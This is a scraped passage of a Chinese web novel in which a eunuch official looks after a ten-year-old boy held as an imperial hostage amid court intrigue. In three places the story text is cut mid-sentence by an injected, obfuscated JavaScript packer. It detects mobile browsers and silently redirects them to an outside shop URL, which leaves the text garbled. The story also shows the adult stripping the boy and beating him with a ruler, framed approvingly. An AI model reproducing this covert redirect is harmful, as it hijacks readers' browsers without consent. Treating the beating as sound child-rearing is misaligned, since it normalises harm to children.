温寻墨讲给高濯衡听:“涸东在东北边界,是大渊朝东北方的屏障,若北边的鞑子攻破涸东,朔东的平原挡不住鞑子的骑兵,胜京城会首当其冲,受到攻击。涸东王一脉,自建朝起,就一直守在涸东,保后方胜京太平。” “自己的儿子都要防着,为何不防涸东?”高濯衡问。 “那是边塞苦寒之地,一年十二月,近一半都在下雪,延绵千里的冻土沼泽,几乎无法开垦田亩。但涸东王一脉固守在那里,若非大灾之年,从不问朝廷开口要一分的粮饷。”温寻墨道,“那龙椅是这世上,最寂寞孤独,最会让人疯狂的东西,坐在上头的人,要随时提防底下的人去抢,还要怕各种突发状况,让他坐不稳这龙椅。即使是那样一片苦寒之地,也要防他拥兵自重,南下造反。所以,才有锦衣卫,有督军太监。还要将涸东王的儿子女儿们,接来京城,明面上说共享荣华。实际上,是软禁在京城,当人质。他既不能和底下人太沾边,又不能不沾边,不能没有强者帮他,又不能看着那强者太强,这其中平衡,压制抬举,都是帝王之术。” “不过,对涸东,他还是看重的。毕竟涸东王一脉,素来忠勇。” 不然也不会立涸东的女儿为后,立皇后的儿子为太子,只可惜,太子死了。 燕王是长子,而非皇后嫡出。 高濯衡看向温寻墨:“燕王南下打仗,他也有重视的人,被扣在京城吗?所有的家眷?” 温寻墨点头:“可能…你也算一个。” “我?可…我和他感情并不深厚。他不会因为我,放弃什么。”高濯衡道。 “他当然不在意你,但他在意名声和后世史书的评价。没有皇子不想当皇帝,但没有皇帝愿意背负,造自己生父的反,置亲生儿子安危不顾的骂名。”温寻墨深谙其道,“燕王在出征前,主动将你交给皇帝,是一种投诚,他想让皇帝相信他并无反意。可关乎皇权之事,帝王会考虑颇多,该遏制的,他一刻也不会放松。” 高濯衡明白了,哥哥被抓进诏狱,要和父亲一同顶下太子通敌之罪。 而他,则被送进皇城,当了皇帝克制燕王的人质。 他面对的,是一局死棋。 十岁的孩子,弱小到看不到半点儿生机。 温寻墨揉了揉孩子的脸:“你不是最会装乖嘛,若皇帝真的召见你,你最好要装得好些,不要说谎,乖巧的孩子会讨人喜欢,他能一眼看穿你的谎言。” “温寻墨。”孩子问,“我哥哥有那么一点点活下去的可能吗?” 他说起哥哥,眼泪就止不住。 温寻墨没法回答,只好一遍一遍的给他擦去眼泪,却怎么都擦不完。 这孩子,他是哄不好了。 想想小时候自己哭的时,怎样才能高兴,新鲜的小玩意儿,出门看戏,夏天喝冰饮子,吃混了瓜子核桃仁儿的酥山。 他这宅子不大,他住的日子也不多,只有一个看门的门房和门房媳妇儿厨娘。 温寻墨出屋叫来门房,让他去外头买酥山和糖糕。 孩子在屋里头哭,他甚少有如此手足无措之感,站外头都不敢进去。 好在这里离街也不远,门房端着酥山,腰上揣着糖糕,很快就回来了。 温寻墨便接过来,坐在高濯衡跟前儿,舀出一勺,凑他嘴边:“大热天的,哭了一身汗,来吃一口,可甜了。” 小孩儿俩眼睛又肿又红的。 看见这酥山,更是想他哥。 母亲教过他,哭是没有用的。 温寻墨说的对,他是一个小孩子,小孩子在大人面前,要装乖,装弱,才能讨到好。 他乖乖张嘴,一勺一勺吃着温寻墨喂他的酥山。 “哥哥也这样喂过我的。” 一个太监,说尖酸刻薄恶毒的话,是张口就来的,可若要他说些怀柔的好话,很抱歉,太久没说过,真是说不出口。 直到孩子把整份的酥山全吃完了,温寻墨才别扭的说了句:“总有办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温寻墨从腰后抽出了别再背上的蒲扇,那蒲扇是草编的,边缘都破了,根本不像是一个权宦会用的东西。 温寻墨一手将孩子环着,一手给孩子扇风。他觉得自己这样,像一个老妈子。 “我就知道你肯定怕打雷。”他说,“都十岁了,还怕打雷,太没用了。” 孩子被他气到了,憋着嘴忍住不哭,不让他看笑话。 “说你你还不服气了?”温寻墨道,“这点雷声就把你吓着了?那你是没见过海上的暴风雨。百丈高的巨浪拍下来,人从地上弹到船顶,又掉下来。闪电劈过来,百年老树做的桅杆,都给劈断了。人在海上,就像沙漠中的一粒沙子,像巨人脚下的一只蚂蚁。行船的人绑着绳子,以单薄的血肉之躯,在黑夜中对抗海上的风暴。海水像冰刀子,钻进肉里,力气用尽了,也还得咬紧牙关坚持。” “为什么?”孩子很轻的问。 他不是问为什么要在暴风雨中坚持,他问的是,这么危险为什么还要下海? 温寻墨道:“因为,第二天太阳还会升起来。海面上的晨光,像金子一样,洒在活下来的人身上,奖励他们驯服了大海。” 蚂蚁战胜了巨人,行船者们用不屈的勇气,以肉体凡胎,对抗着无边无际的大海。 高濯衡看清楚了,他眼前的这个人,枯瘦,残缺,却没有向命运屈服。 他反抱住了温寻墨,那一刻他们俩隔着薄衫的心跳,以相同的频率跳动着。 一定还有办法,一定还有出路。 他们俩一起等着第二天太阳的升起。 温寻墨却在太阳升起后,接到了高琰昨夜于狱中,咬舌自尽的消息。 50.便宜爹送你了 温寻墨被召入宫时,高濯衡还未睡醒。 待他从宫中再回到小院时,高濯衡正坐在院儿门口的小凳上,他旁边的人,则是坐在台阶上等着。 那人穿着简单的纯色棉布衣,用发带束发,未戴冠,下巴上蓄了几根稀疏的胡须,已经发白了。 温寻墨向他行了一礼:“赵大人。” 赵绥启作揖回礼:“温公公。” 孩子站去了外公身后,想来他俩已经说过话了。 温寻墨道:“怎么在屋外,快进去坐吧,咱家这儿有御赐的好茶,请赵大人赏脸品鉴。” 赵绥启拱手道:“我来看看孙儿,孩子在这儿给公公添麻烦了,老夫想…要不就让我将他领回家去…” “赵大人。”温寻墨当然知道他的意图,但他现在不能把孩子给赵绥启,“抚州通敌的案子还没有结束,由我照看此子是圣上之意,恕温寻墨不能答应。” 赵绥启生了两个孩子,一儿一女也是儿女双全,可赵谨自去了笠安,十多年就回了两趟家,女儿嫁出去后,也一直在抚州,如今还让他白发人送了黑发人。 两个外孙,翊儿早前还总来看他,如今下了诏狱,是凶多吉少。 打听得小的在温寻墨这儿,他立即寻了过来,今天虽是第一次见,可孩子聪明伶俐,又生的十分可爱,让他又欢喜又心疼。 “敢问温公公…皇上有何旨意啊?”赵绥启这个三品的礼部侍郎,见着温寻墨都需恭恭敬敬。 温寻墨道:“大人抬举在下了,我哪儿敢妄议旨意呢,能昭告的,自然会发下去,昭告天下了。” 赵绥启还是不死心:“是陛下亲口说,孩子必须留在你这儿吗?” 温寻墨点头。 赵绥启不信,摊着手跟着温寻墨问:“这…这这这叫个什么事儿啊?一个下了诏狱,一个又不让回家。抚州的案子,再怎么样,也牵连不到这两个孩子啊!一个还在读书考试,一个…才十岁啊!” 温寻墨往院里走,赵绥启就跟着他唠叨,小的也跟着他俩跑。 温寻墨低头注意到高濯衡的头发,那马尾绑的歪歪斜斜的。上京路上,孩子的头发全是他哥绑的,想来是不大会绑头发。 他在院中的石凳上坐下。 赵绥启拉着他问:“皇上真这么说的?” “要不您上道奏疏问清楚?” 上奏疏问这个,不是天堂有路你不走,地狱无门偏去投嘛。 温寻墨看向他:“赵大人,孩子在我这,不会亏待了他,你就尽管放心吧。” 高濯衡拽住了外公的衣角。 温寻墨对他说:“松手,别让外祖担心。” 孩子犹豫了一下,松开了手。 温寻墨道:“我知道你是真的在为孩子考虑,可此事已非你能力所及。管好你礼部的事,少来我这里吧。” 赵绥启道:“我不带他走,来看看他都不行吗?” 温寻墨摆出了送客的架势:“万一牵连到你,孩子会更难过。” 赵绥启当然知道,可孩子爹妈都没了,他再不来,还算是个人吗? 他还没敢把高琰死了的事告诉孩子呢。 赵绥启半蹲下来,高濯衡微微垂着头说:“外公你回去吧,温寻墨对我很好的,昨天晚上打雷,我害怕,他还抱着我给我扇风了。” 这倒稀奇,手上人命冤案无数的东厂太监,居然会在雷雨夜,去安慰一个和他没有任何关系的孩子。 高濯衡这话说的,让温寻墨挺不好意思的。 他咳嗽了一声:“赵大人,回去吧。” 他这小院周围耳目众多,光盛帝生性多疑,他不想平添事端。 此后赵绥启仍是隔三差五的来,给孩子带些吃穿用物,还有各式点心。 温寻墨不让门房给他开门,就换了老夫人来。 老夫人说自己只是深宅老妇,没有官职,不懂官场上的事,也不会查案子,就是没了女儿,怜惜幼孙,就算把她架去午门斩首,她也得来看孙儿。 温寻墨只好作罢。 在温寻墨的小院儿里,不仅能吃饱穿暖,还能吃得好。 外祖母带着人来给他做菜,有果子点心吃,出门就是街,温寻墨还会在外头的酒楼给他带新鲜的菜品。 这样一住就是半月。 除头两天外,温寻墨每日出门前都会把孩子也叫醒,看着他洗漱,然后帮他绑头发。 他命人找了书,备了笔墨纸砚。 并给孩子布置好每日要完成的课业。 他晨起出门早,回来却不固定,有时上午就回了,有时到夜里才回,但无论何时回来,第一件事就是检查高濯衡有没有好好读书。 开始时高濯衡根本没心思读书。 温寻墨回来,书放在屋里就没动。若是老夫人还在,高濯衡就粘着老夫人,他俩也不太说话,就是并排坐着,孩子缩老太太怀里,偶尔听她说说赵蓉小时候的事。 若老太太不在,他必定是在马厩,和他哥的马黏一起,也不嫌马粪臭。 于是第三天的晚上温寻墨便问出他长久以来的疑惑:“我至今没看你读过书,你在家时读书的吗?” 高濯衡不理他,吃着碗里的菜。 他抓住孩子的手,把筷子抢了过来:“问你话呢。” 高濯衡道:“都要死了,读书有什么用?” “谁跟你说你要死了?”太监嘴毒,还不忘用他说过的话调侃他,“燕王之子,小王爷,主子爷,我死了都死不着你。” 孩子倔强的看着他:“我爹娘都死了,哥哥若也被治了死罪,我也就不想活了。凭空跳出来的便宜爹,送你吧。” 你问过人家燕王吗? “我可不稀罕要。”温寻墨道,“谁跟你说你爹死了的?” 高濯衡道:“祖母不小心说漏嘴了,她忍不住哭了,还有你这院子临街,街上人也都在说。” “以后死管以后死,你这不还没死嘛,没死就要读书!”温寻墨一点不跟他客气。 高濯衡本来就不喜欢读书:“我不,我哥就不会逼着我读书!” 温寻墨道:“真不是我说,上京这一路我算是看明白了,你这样都是你哥给惯的,好端端一个孩子,给他教成孬种样子。” “你才是孬种呢!”高濯衡被他气的站了起来,哭着骂了回去,“你不仅孬种,你还死太监!” 凭什么他这么惨了,还得被骂孬种? 他真的有那么孬吗? 他爹他哥都是上过战场的真男人,他娘死前还从城里带了一群百姓出来呢,他全家没一个软骨头,更没一个孬种。 怎地就他孬呢? 高濯衡知道,因为自己不是高家的种,也不是皇嗣,他只是路边吃不上饭,快饿死的灾民生下的孩子。 若没有那场旱灾,他现在就在村子里撒尿和泥玩儿,还读什么书。若没赵蓉将他抱回去,他就是别人锅里的菜,早吃下去,投胎了。 他就不是读书的料,他没去放过牛,没耕过田,他想他或许是有耕田,放牛天赋的。所谓龙生龙凤生凤,就是这个理了。 温寻墨被骂了死太监,这些年,明里暗里不少人骂他死太监,可死太监这三个字,从这孩子的嘴里说出来,却尤其的尖锐,扎他的心。 他说:“我是太监,但我不死,也不孬种。” “那…那你偷偷刮胡子,你是假太监!”高濯衡鼓足了劲儿要气他,“等皇帝召我过去,我就告诉他!你欺君,你故意夹着嗓子学太监说话,让他杀了你,你就是死太监了!” “我死,你也得读书。”这人油盐不进的。 小孩儿更是倔上了天:“我不读!” “不读就别吃了!”温寻墨一抬手把饭桌掀了。 他没带过孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232600|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,或者说没那么长时间的带过孩子。他摆脱跟踪,上岛再见到温知远时,阿远已经七岁了。他每年能偷偷去岛上的时间,不超过十日,温知远是那种很懂事,很会读书,一点就通的小孩儿。 可高濯衡,已经被家里宠坏了。 若他无风无浪的长大,必定会当个游手好闲的纨绔子弟,家大业大的,他不用干活,还有个无比宠溺他的大哥。 哪有人翻过高家二爷的桌子,不吃就不吃,稀罕你这顿饭? “好,反正我也不想活了,饿死算了!” 温寻墨拎着他的后领给他拽进了书房,他早上布置的课业,一点没动。 他将高濯衡按在了书桌前的椅子里:“你可以死,但只能是读书读死,拿起笔,写!” “没墨!”孩子瞪他。 死太监亲自给他磨墨。 等墨磨好,高濯衡却用手抓了一把,全涂在了温寻墨脸上。 温寻墨也不跟他客气,把剩下的墨倒在了他头上。 高濯衡气的抽了他两巴掌,他是真的用了力气,他手上有墨水,糊了两个漆黑的手印在温寻墨的脸上。 温寻墨一刻都没犹豫,反手也给了他两巴掌。 高濯衡捂着脸,不可置信的看着他:“你…你敢打我?你居然敢打我!我跟你拼了!” 他跳扑上去,抓着温寻墨的肩膀,一口咬上了温寻墨的脖子。 跟小老虎似的,喉咙里发出呜呜的嘶鸣,扭着头,似要将那块肉,生生嚼碎似的。 温寻墨吃痛,就去掰他的头,他不松开,温寻墨就用手掰他的嘴巴。 手指伸进口腔,抵住上颚,本是要用力把嘴撑开的,可他不至于真的跟高濯衡动气,手上有着分寸,便用长长的手指,去捣高濯衡的喉咙,让他发恶心到不得不松口。 果然,孩子干呕了一声,松开了牙齿。 手上还挥着乱拳,往温寻墨身上招呼。打在太监干硬的骨头上,也不知是温寻墨更痛一些,还是他自己更痛一些。 温寻墨是打定主意要给这孩子一点教训,让他知道这世上是有人不怕他,能治住他的,让他知道,读书是有必要的,尤其是他,若想要在京城,在这皇宫中,以皇嗣的身份活下去,就必须要读书,要学会分辨和权衡。 绝不能像今天这样,易激怒,且在发怒后不顾后果的胡闹。 备了文房四宝和书,自然也备了戒尺。 高濯衡很有力气,可始终是比不过温寻墨。 温寻墨一手将孩子给翻了个面儿,他坐下后把孩子压在了他的大腿上,扒开裤子,抄起戒尺就打了下去。 啪啪几下,那竹板抽在孩子白嫩的臀肉上,打出了数道红痕。 高濯衡疼得直哭,一直挣扎,他越是挣扎,温寻墨就打得越狠。 他只能边哭边叫唤,叫唤的间隙还不忘骂:“死太监!啊!你凭什么打我!啊!凭什么打我!啊!啊!死太监!啊!哇啊啊啊!” “你认错,我就停下。” “我没有错!啊!我没错!” 温寻墨:“没错,我就继续打!” 完了,这太监真的要把他打死了。 他真的是孬种,今天要是死了,还是个被太监打死的孬种。 “我…我没有错!!哥!哥!啊啊啊!哥!哥救我!哥!!哇啊啊!哥!!” “哼,叫你哥?你哥可听不见。” “我哥要知道,啊!你这么打我,啊!他会杀了你的!” 温寻墨:“轮不到你哥来杀我,你可是小王爷,金尊玉贵的主子爷。我今晚把你打死了,我也活不了。没事,主子爷别怕,您先死,奴才我随后就到,到了阴曹地府,您要是还不认错,奴才我就在阴曹地府接着打,把您这小/屁/股打烂了,打到您认错为止!您那便宜爹是燕王,不是阎王,阎王来了,奴才我今日照样儿得把你给打服了!” 51.皇帝不是吓大的 若有人在屋外看见这一幕,是很滑稽的。 一个满脸满手墨水的男人,正用戒尺打一个同样满脸满头墨水小孩儿的屁/股。 两人的衣服上也沾了墨,小孩蹬着腿哭得满脸通红。 却怎么都不肯承认自己错了。 最后以高濯衡哭嚎得太过,把刚刚吃的饭全吐了出来作为终结。 温寻墨被他恶心到了,他把孩子拎到院子的水井边,按着头让他漱口。 高濯衡趴着喝了几大口井水,又哇啦一声全吐了出来。 他眼泪已经哭尽了,可抽泣却想停都停不了。 闹得太过,两人都满身的汗。 把门房夫妻俩都惊动了。 他俩带着孩子住在侧间,厨娘和高濯衡说过几句话。 但她怕温寻墨,这个东家平日话少,人又高又瘦,总是板着脸。听说是东厂的太监,官职还不低,是皇帝跟前儿的红人。 也不知为何不住高门大院,反而在这胡同里买了个小院儿住着。 她早前听着孩子哭就想去拦一把了,这会儿见高濯衡趴在水井边的木桶里,被温寻墨按着头洗脸,整个上半身都被水浸湿了,实在有些不忍。 小跑过去,颤巍巍的说:“督…督公…孩子这样受不住的。” 温寻墨也没想到这小东西这么犟。 他是个讲究爱面子的人,早年尤甚。后来就算人人都在背后笑他少了那点儿肉,他依然尽量将自己收拾的干净体面。 可如今被这孩子打得满脸满身的墨水,实是狼狈不堪。 只好吩咐门房夫妻俩道:“去拿壶温水来给他漱口,再去烧点水,给他洗洗。” 高濯衡趴在桶边上喘着气儿,温寻墨另拿了个木盆,装清水洗脸,他受了孩子结结实实的两耳光,墨水难清洗,脸搓红了才露出原本肤色,他瘦脸皮薄,那脸上被孩子打出的手印,都发紫了。 高濯衡斜眼看到也觉得过意不去,是自己下手太重了。 温寻墨反扇他的那俩巴掌几乎没怎么用力,可他的屁股是实打实的火辣辣的疼。 于是又咬牙切齿骂了句:“活该!” 温寻墨抬手吓唬他,孩子哇得叫了声,直往井边缩。 他现在是彻底落了难,被一个死太监打怕了。 温寻墨看他这样,难免觉得好笑。 水烧好后,他用温水帮孩子把头上的墨水冲干净,扒光丢进了浴桶里。 这会儿温寻墨也洗干净了脸,他抱着手臂,站在浴桶边,居高临下的看着高濯衡,问:“不会这么大了,连澡都不会洗吧?” 高濯衡刚刚特注重保护自己的隐私,下水前死死捂着小小鸟儿,下水后,立马拿毛巾挡着,他哥说太监没这东西,没准这死太监还是个死/变态,跟刘具一样呢。 他屁股被打开/花儿了,下水之后更是火辣辣的疼:“谁说我不会自己洗澡的!” 温寻墨把干净衣服找出来挂在了屏风上:“那就快洗,别磨蹭。” 大约过了半个时辰,还不见孩子出来,里头也没动静,便敲门问:“洗好了吗?” 孩子不搭理他。 温寻墨:“你别想着浪费时间啊!” 孩子依旧不搭理他。 “你再不说话,我进去了啊。” 孩子还是不搭理他。 温寻墨推门,绕去屏风后,高濯衡早洗好了,衣服穿的整整齐齐,头发还有些微湿,坐在竹椅上,用背影对着他,是在生闷气。 温寻墨叹了一声:“今天布置的课业必须学完,字帖可以明天再写。” 小孩回头瞪他。 温寻墨则是搬了个板凳坐去了他身边,温言道:“皇帝现今没有召见你,可他总有一日会召见你。到时候你打算和他说什么?他问你话,你答不上来,他说的话,你也听不懂。只知道跪在原地,让他一眼就能看出你是个懒惰无理,不学无术,中看不中用的草包。你觉得这样,能救你哥哥吗?” 高濯衡其实也明白温寻墨说的话有道理,可他还是不高兴。 “学个几天,一两个月,能有什么用?” 温寻墨道:“你和你哥哥,只想活这几天,几个月?” 孩子是一点就通的。 他要当一个会读书,听话懂事又漂亮,招人稀罕的好孩子,要在皇帝面前得脸,才能帮他哥说上话。 他要融入皇室,摸清楚皇帝的脾性,想法,才能做到在皇帝不怀疑他的情况下,为哥哥争取更多。 读书是不能直接做到这些事的,但诚如温寻墨所说不读书,他就更不懂,露了怯,只会被厌烦和蔑视。那样,就真是孬种了。 他不是孬种,他不要做孬种! 孩子眼里有了光,他问温寻墨:“我哥哥,真有可能活下去吗?” “就算他没了,你也要为你自己。”温寻墨扶住他小小的肩膀,“你可知有些事并非是一死就能了之的。叛国重罪会被记入史书,遗臭万年。为官者都求一个清廉才干之名,高琰在抚州为百姓做了许多实事,在抗敌前线也是战功赫赫,官当到他这个位置,求的是名垂青史,百年千年后,后世的名臣录上能有一个高琰在上头。” 他拿了一块棉巾,温柔的给孩子擦头发:“再说你哥哥,他甚至还未踏上官场,他们父子二人不该背此骂名。你若随他们死了,谁还会去查清真相,为此事平反,还他们清白公道?” 温寻墨这话才说完,高濯衡立即揪住了他的衣袖,两双对视的眼睛,和对方近在咫尺的脸。 恍然间,他们都明白了对方的想法。 温家是有冤情的,他高家也是。 温寻墨是覆巢之下唯一的完卵,或许他高濯衡也会是。 “我其实没想过要死,刚刚只是一时气话。”高濯衡将抚州城门前的事说给了温寻墨听。 “我不知道我爹为官时做过些什么,我从来没去问过,但两江百姓,都记得,都知道。所以我才能活下来,我娘亲死前,也交代我,一定要活下去。”高濯衡道,“我…我只是太想念我大哥,太担心他,我只是…很怕…很怕…” 他才离开大哥,他的心静不下来。 温寻墨牵起孩子的手,去了刚刚他们大战过的书房。书房早归置成了最初整洁的模样。桌上还摆了几张纸,远看像是画。 高濯衡走进看,果然是几幅画,画这画的人技艺精湛,寥寥几笔就把人勾画的十分传神。 画里那坐在小凳上嘟着小嘴生闷气的小孩,不是高濯衡是谁。 高濯衡的反应就和画里的他一样,噘着嘴瞪温寻墨还翻白眼:“无聊。” 温寻墨道:“我画的很像吧。” “你画的?” 不止一张,底下还有他攥着筷子梗着脖子骂他死太监的样子。 他靠在水井边哭的样子,以及最后一张,居然是他趴着,光着屁/股蹬腿大哭的样子。 那圆鼓鼓的屁/股上还用墨色明暗渲染出了被打的痕迹。 “你这样气我,我真不读了。”高濯衡虽这么说,却只把画收在一旁,没有气急败坏的撕掉。 温寻墨心道,孩子脾气也不是那么差:“我是想逗你笑呢。” 高濯衡没再接话。 温寻墨便接着拿起书本,当起了教书先生。 那晚,过了子时才将温寻墨早晨布置的课业学完。 关上书页,温寻墨问:“饿了吗?” 高濯衡晚饭吃了一半,刚刚还因为哭得太过,把吃的全吐掉了。 专心学业时还不发觉,这会儿真的有些饿。 可他心里对温寻墨还是有戒备和疏离的,再说了太监脸上还有他的手印儿呢,他的屁/股也还疼着,他不好意思要求太多,便摇头说不饿。 温寻墨道:“我有些饿了。” “这么迟了,花娘睡了,别叫醒她了。”花娘是厨娘的名字。 从点滴都能看出,这孩子虽时有娇纵,但本质上是个明白人,当主子的会因为仆人睡下了,而不愿去打扰,并委屈自己,这是富家贵族们甚少有的体下之心。 说明孩子打心里并没把自己放在高处,他在平等的对待所有人。 温寻墨揉了揉孩子的发顶:“那我来做吧。” “你会做饭?” 温寻墨道:“给你煮碗粥吧,熬粥要些时间,你趁这会儿,练练字,你学东西挺快,可那字是真丑。” 孩子立马噘嘴表示不服气。 “准你明早迟些起。”温寻墨去厨房前又突然网开一面,“你…要是实在不想写,就稍稍休息会儿吧,来看我熬粥也行。” “我才不去呢。”高濯衡拿出了抽屉里的字帖,还装模作样的自说自话起来,“肯定不好吃。二爷我的嘴可叼呢,爷们儿在抚州时,什么样儿的东西没吃过。粥得加河豚、鲜肉片用砂锅煮出来的才好喝呢。” 温寻墨在煮粥时,想着这孩子人小鬼大的管自己叫爷们儿,还忍不住笑。 那碗粥很朴素,放了碾碎的咸鸭蛋和青菜叶,没有瘦肉,没有河豚,甚至还掺了煮烂糊的挂面。 横看竖看,都不像是给人吃的东西,反而很像是人吐出来的东西。 高濯衡嫌弃道:“你吐的?青菜粥真穷酸。” “啧,这孩子怎么说话呢。”温寻墨把筷子递给他。 他喝粥居然用筷子。 不过等高濯衡开始吃时,就知道为什么要用筷子了,这粥很稠,里头的挂面虽然煮的还算烂糊,但比较长,得用筷子挑着吃。 他皱着眉头,做作的尝了一口。 居然意外的——还不错。 咸咸的,香香的,黏黏糊糊,青菜碎被煮的很软,夹在粥里,增加了口感,回味还有咸蛋黄的香味。 他本就饿了,更觉香浓好吃。 高濯衡闷头大口喝粥,和刚刚嫌弃穷酸的娇气孩子简直判若两人。 “用筷子溜边儿赶着喝,中间的烫。”温寻墨提醒道。 高濯衡端着碗吃,嘴里塞得满满的,只能嗯哼着点头回应他。 孩子这副可爱的样子,让总是不苟言笑的东厂太监,笑了出来。 温寻墨熬粥时煮了个鸡蛋,这会儿正拿热鸡蛋滚着脸颊消肿。 高濯衡从碗里抬头时恰巧瞧见他用鸡蛋在脸颊上滚动,还看着自己笑。 这太监冷笑过,嗤笑过,多数时候是阴阳怪气的笑,冷嘲热讽的笑。 何曾会笑得这样——温柔? 那张窄瘦的脸,居然和这笑十分适配。他上挑的眼睛,往下弯时,棱角分明的脸,都柔和了不少。 在暖黄的烛光下,温寻墨整个人都透着一股不可思议的暖意。这是平时白日里,不曾见过的温寻墨。 只不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248521|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这笑很短,在察觉到孩子看呆了的视线后,他立马收起了笑意。 “时间不早了,吃好了就刷牙睡觉。” 如是,温寻墨教了一个月的书,高濯衡当了他一个月的学生,等来了光盛帝的召见。 因为晏江有暴民和残兵联合起义了。 起初他们只是反对征兵,因为太子亲征输得太惨,燕王募兵又来的太急。 原本的残兵们,跑了大半,燕王李睦炜便命人把能找到的,全部强制抓了回去,再编入队伍。 为了立威,还杀了不少反抗人。 这些人亲眼看见了之前的溃败,他们那一仗死了很多人,早就丧失了战意和信心,又对强制征兵和提高赋税的事心怀怨恨,不愿意再上前线打仗。 而原本抚州战场上还剩下的抚州兵,在得知高琰在狱中自尽,燕王还杀了抗拒整编的残兵后,在军中发起了哗变。 他们痛恨周季修,也不相信带他们送命的太子。他们还留在前线,是为了等高总督回来,带他们打胜仗。 在他们眼中,燕王和太子,是一路货色。都是不会打仗,只知享乐的皇室。 如今这人将他们的袍泽当做可以随意斩杀的蝼蚁,他们也不愿意再为这样的将领卖命了。 义军们占据了邵和、黄掘两个县,绑了县令当人质。 却并未有残杀官员和普通百姓之事发生。 这也正常,他们中大多数都是两江人,起义是反对强制征兵,两个县的百姓很多都和他们沾亲带故,他们不仅不杀百姓,反而受到了百姓的拥护,各家都有儿郎加入义军,用两座县城和皇权对抗。 可这却给了抚州城里的水寇机会,他们趁着李睦炜分兵平叛,在岷江上列了船队,渡了江。 李睦炜所带的兵力不多,两江的兵又不愿跟着他,水寇来的快,岷江防线还未完善,不敌水寇船队,李睦炜退守越州城。 但好在,越州城尚未被攻破。 可前有水寇,后有兵变,李睦炜被夹在中间,难以动作。 他既怕出兵水寇,被义军捅了后心,又怕转兵平叛,却丢了越州,尤其是在他探得水寇能如此迅速出兵,搜集战船,是因其背后有西洋诸国相助后。 李睦炜连夜八百里加急传消息回京,希望光盛帝能将临省的守备军都借调给他,可他这人又多余用心机,怕他的皇帝老子不肯多给他兵,为了好讨价还价,给亲爹打折的机会,开口就是十万火急,渊军死守越州,敌众我寡,要十万援军。 他心想他爹就算给他打个对折,也还能来五万人呢。 还说此乃存亡之战,异族虎狼有灭我大渊之心,就怕他爹不把这边当回事儿。 与燕王交好,或说明里暗里就是一党的朝臣们纷纷上疏,劝光盛帝下诏给前线调兵。 可光盛帝不是被吓大的,他虽人在京中,但耳目遍布,还不至于无法判断形势。 他此前一直防着有人将抚州城破之事告诉高琰,就是怕高琰自杀。 他明白,只要这个人还活着,两江的军队和百姓,就不会乱。可高琰还是自杀了。 早不死,晚不死,儿子才进京。 在最不能死的时候,他死了。 光盛帝是想将太子的罪名加到高琰身上,可处决也得等到两江形势稍缓之后的,不说收回抚州城,至少要岷江一线驻防完备之后,他才会去动高家父子。 光盛帝当然不会愚蠢到认为是高琰自己活够了,以高琰此人的智慧和心性,绝不会简单的寻死。 高琰自杀的前一天,还在诏狱中跟锦衣卫看守说,要向皇上陈情,要回抚州率军抗敌,必定一举夺回失地,不辱皇命。 皇帝当然想他去,他是能不辱皇命,可他之前却有人上赶着去辱了。 太子丢了兵,赔了命,还害他失了民心。嫡子死了,他当然伤心,可留给他伤心的时间不多,各地不消停的闹腾,都等着他拿主意。 正巧燕王愿意去,那就让他试一试嘛,能平定是最好,不然又让高琰去,他到时胜的毫不费力,岂不是告诉天下人,他姓高的比我姓李的强? 于是光盛帝打算再等等,看看这个大儿子的表现如何。他还有儿子,儿子不行,还有孙子。 高琰当然得留着,以备不时之需。 可光盛帝的如意算盘正打着呢,高琰自杀了。这很难不让他怀疑是有人唯恐天下不乱,把抚州城破,发妻身死,亲子被押送进京,朝廷还要把通敌的罪名往他父子身上加的事告诉了他。 那个人是谁?是谁的人? 是他的好儿子燕王李睦炜吗? 为了骗他调兵? 十万大军给他,开口又要十万,那该如何? 给了二十万,把抚州拿回来,转头北上逼宫,他这个皇帝,还当不当了? 史书上不是没有儿子将父皇锁在深宫活活饿死的例子,光盛帝明白,这张龙椅绝对具有让他的儿子失去人性的魔力。 于是他思索再三,还是决定先不调兵,而是下了一道诏书,劝义军一同抗敌。诏书曰:夺回国土,抗击外敌,才是目前首要之事。将士有共同抗敌者,哗变之事不再追究,依旧安原籍编入军中,立军功者,照旧赏银封官。 他不承认那是起义,只说哗变。因为哗变是燕王治军之过,可起义,就是他治国之失了。 接着,他召见了高濯衡。 52.他怎么确保我不会反? 高濯衡被温寻墨打扮齐整带进了皇宫。 才进宫门,温寻墨就将他抱了起来,是侧抱坐在温寻墨小臂上,高濯衡搂着他肩膀的姿势。 这是太监在用自己的绵力给他撑场子,主子爷没有轿坐,奴才我就一路抱着他去。 他出门前跟高濯衡交代了些两江目前的形势,还有他关于此次召见的猜测。 温寻墨教了他一些面圣的规矩,还假设了几个问题教他如何回答,但高濯衡心里还是很紧张。 他攥着温寻墨肩上的衣料,那布上绣着华美繁复的纹样,到殿外松手时,温寻墨肩上那块被他攥在手心的布,都湿了。 温寻墨拍了拍他的肩膀,安抚道:“我带你进去,别怕。” 他见温寻墨将腰背弯了下去,低着头,牵着他的手,往殿中走。 高濯衡跟着他,入殿后便也学着他的样子将头垂了下去,恭顺谦卑,哪儿都不看,只盯着自己的鞋尖。 